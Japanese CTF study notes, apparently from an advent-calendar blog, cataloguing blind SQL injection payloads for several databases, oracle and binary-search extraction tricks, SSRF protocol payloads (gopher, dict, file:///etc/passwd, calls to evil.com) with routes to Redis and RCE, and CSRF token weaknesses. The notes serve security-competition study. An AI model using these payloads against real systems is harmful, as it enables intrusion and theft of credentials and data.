      • (select 1 union select 2) ここ
    • DOUBLE value is out of range in 'XXX'エラー

Time-based Blind SQL Injection

  • Error-based Blind SQL InjectionとSQL文は大差ない。if(条件,sleep(1),0)といった感じ。
    • これをwhereの1つにでも置けばいい。
  • xor(if(now()=sysdate(),sleep(10),0))or
  • MySQL
    • admin ' and (select*from(select(sleep(20)))a)--
    • admin' and IF(1=(SELECT 1 FROM users WHERE Length(pass) = 27),sleep(10),0) #
  • SQL Server
    • if 条件 waitfor delay '00:00:01' else waitfor delay '00:00:00'これをSQL文末尾に置いておけばいい
      • 条件には0 <= (select len(password) from Users where id='admin')のように改めて値は取ってくる必要がある
    • 使ったやつ
      • 'id':f"' or {md} <= (SELECT LENGTH(group_concat(sql)) FROM sqlite_master) --",
      • 'id':f"' or {md} <= (SELECT unicode(substr(group_concat(sql),{i+1},1)) FROM sqlite_master) --",
  • Postgres #query = "select current_database()" -> scpfoundation #query = "array_to_string( ARRAY( (select DISTINCT TABLE_SCHEMA from information_schema.columns) ),',' )" -> public,pg_catalog,information_schema #query = "array_to_string( ARRAY( (select DISTINCT TABLE_NAME from information_schema.columns where TABLE_SCHEMA='public') ),',' )" -> users,experiments #query = "array_to_string( ARRAY( (select DISTINCT COLUMN_NAME from information_schema.columns where TABLE_NAME='users') ),',' )" -> id,name,password,stap #query = "array_to_string( ARRAY( (select name from users) ),',' )" -> glenn,teddy,admin query = "array_to_string( ARRAY( (select password from users) ),',' )" -> 965182,e2ec2b31a377a として、以下で判定
    q = f"Gnomial' AND {md} <= (select length({query})) --"
    q = f"Gnomial' AND {md} <= (select ascii(substring({query},{i+1},1))) --"
  • MongoDB

テク

  • オススメの流れ
    1. lengthを使って攻撃対象の長さを調べる
    2. 各文字について二分探索で答えを見つける
  • 全探索ではなく二分探索による高速化
  • limit句にインジェクションするとき
    • limitの後ろにunionでテーブルを追加することはできないが、攻撃方法はある
    • ラクルとして利用する
      • limit=(CASE WHEN (SELECT ascii(substr(usename, x, 1)) FROM pg_user LIMIT 1) < 99 THEN 1 ELSE 0 END)
      • このようにすることでx文字目のasciiコードが99より小さいなら1要素でてきて、そうでないなら0要素というオラクルになる
    • offsetを併用する
      • limitの後ろはoffsetなら置ける
      • 1 limit ascii(substr((Select version()),x,1))
      • こうすると、x文字目をアスキーコードに変更した番目の要素が得られる
      • なるほど
    • ちなみに
      • substr(string, position, length)
        • positionは1-indexed
      • ascii(string|char) -> int
    • ラクルとして使用したときのソルバ SECCON beginners CTF 2020 writeup - La Vie en Lorse
  • マルチバイト文字やUnicodeを抜き取るとき
    • たまにいじわる問題でASCII文字じゃない文字を抜き取る場合がある
    • この場合はhex関数を噛ませて、' || id = 'admin' && {md} <= length(hex(pw)) #のようにして、hex表現で取ってくる
    • Unicode Converter - Decimal, text, URL, and unicode converter
      • このサイトで戻せば取得できる
  • information_schema.tablesテーブルではorder by table_typeをつけると先頭にユーザーテーブルが来るみたい
    • 注意としてtable_typeは一意ではないので、同じtable_type内での順番はリクエスト毎に不定になる
  • like文を使った賢い戦略(にぶたんの方が多分早いけど、これも捨てがたい)
    • Blind SQL Injection
    • _を使って文字長を特定する(これは必須ではない気がするけど)
    • %[一文字]%というのを候補の文字について行って使われているかを特定する。これによって探索空間を大幅に減らす(賢い!)
    • 先頭からa%みたいに探索していく

Blind SQLi 問題 CTF Writeups

XS-Leak Attack / XS-Search Attack

Blind Regular Expression Injection Attack / XS-Leaks with ReDoS

writeups

CTFのWebセキュリティにおけるCSRF/SSRF

この記事はCTFのWebセキュリティ Advent Calendar 2021の11日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

SSRF

攻撃窓口

狙われる情報

テク

Blind SSRF

ポートスキャンからRCEへ

  1. https://[burp-colab-url]/でBlind SSRFがあるかを確認
  2. プロトコルスキャン
  3. gophar://[burp-colab-url]/のようにプロトコルを変化させて、どのプロトコルが使用可能かを確認する
  4. https以外認めてないことがよくあるので、最初から適当にリダイレクタをかませて確認するのがオススメ
  5. dict://
    • dict://;@:/d:::
    • dict://attacker:11111/
    • dict://127.0.0.1:1337/stats
  6. gopher://
  7. ftp:// ftp://127.0.0.1/
  8. file:// file:///etc/passwd file://\/\/etc/passwd
  9. ldap:// ldap://localhost:11211/%0astats%0aquit
    • ldap://127.0.0.1:389/%0astats%0aquit
    • ldaps:ldapiもある
  10. sftp:// sftp://evil.com:11111/
  11. tftp:// tftp://evil.com:12346/TESTUDPPACKET
  12. netdoc:///etc/passwd
  13. Server-Side Request Forgery (SSRF) & the Cloud Resurgence | AppCheck
    • UNCという手もあるっぽい
  14. ポートスキャン
  15. gopharが使える場合は、それを使ってポートスキャン gophar://127.0.0.1:[post]/
    • ポートが開いているなら早く応答が帰り、そうでないならタイムアウトまで待って応答が返ってくる
  16. デフォルトで、Memcached、Redis、Elasticsearch、MongoDBなどのサービスは認証を必要としない。攻撃者はSSRFでこれらのサービスの一部にアクセスできる
  17. SMTP
  18. 攻撃する
  19. gopharであれば、ポートによってはリバースシェルを仕込める
    • これはgopherはURLの形をとっているが、自由にHTTPリクエストを送信することができるので、色々できてしまう
      • gopher://<host>:<port>/<gopher-path>とやると、host:portにパケットを送れる
      • gopher://localhost:31337/1aaa%0d%0abbb%0d%0acccとやると、localhost:31337に対して、aaa%0d%0abbb%0d%0acccが送れる
      • gopher://localhost:5000/+GET%20/%20HTTP/1.1%0d%0aHost:%20localhost:5000%0d%0a%0d%0aとすれば、localhost:5000へHTTPリクエストを送信可能
    • tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
    • MySQL (Port-3306)
    • PostgreSQL(Port-5432)
    • FastCGI (Port-9000)
    • Memcached (Port-11211) If stored data is getting De-serialized by:
      * Python
      * Ruby
      * PHP
      
    • Redis (Port-6379)
      • gopher://redis:6379/+GET%20FLAG%0d%0aQUIT%0d%0aとすればFLAGをキーとする値が取れる
    • Zabbix (Port-10050)
    • SMTP (Port-25)
    • Jira (default port-8080)
      • http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
    • Confluence (default port-8090)
      • http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
  20. assetnote/blind-ssrf-chains: An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability

とても参考になる攻撃例

From blind XXE to root-level file read access – Honoki

いろんな要素を組み合わせてRCEにつなげている。

  • XMLが出力されているエンドポイントではGETをPOSTに変えてxml入力ができるかも
  • XMLが入力できたらSSRFを試してみる
  • もし外部ネットワークへの接続ができない場合でも、SSRF脆弱性のある内部で動いているアプリケーションを経由すると接続できるかも

CSRF

  • CSRFトークン発行APIがキャッシュされていたら同じURLを踏むことでCSRFトークンが流出するかも
  • CSRFトークンが複数箇所で使用されている場合
    • ある場所で発行されたCSRFトークンがすべての場所で共有されている可能性
      • 地点Aで発行されて
  • トークンは使用後にexpireすること
  • OAuthでもCSRFトークンが使われる
  • CSRFトークンは128bits以上のエントロピーのものを使うこと
    • OAuth2.0ではRFCに明記されてる
    • StachExchangeによると、de-facto standardという記事がある
    • Mitre CWE-6のPotential Mitigationsに記載がある
  • CSRFトークンが別のアカウントで作ったものが他でも使えてしまう
  • CSRFトークンを消したらなぜか動かないか?
  • CSRFトークンをデコードしてみよう
  • CSRFトークンが実は静的
  • HTML Injectionで抜き出す
  • CTF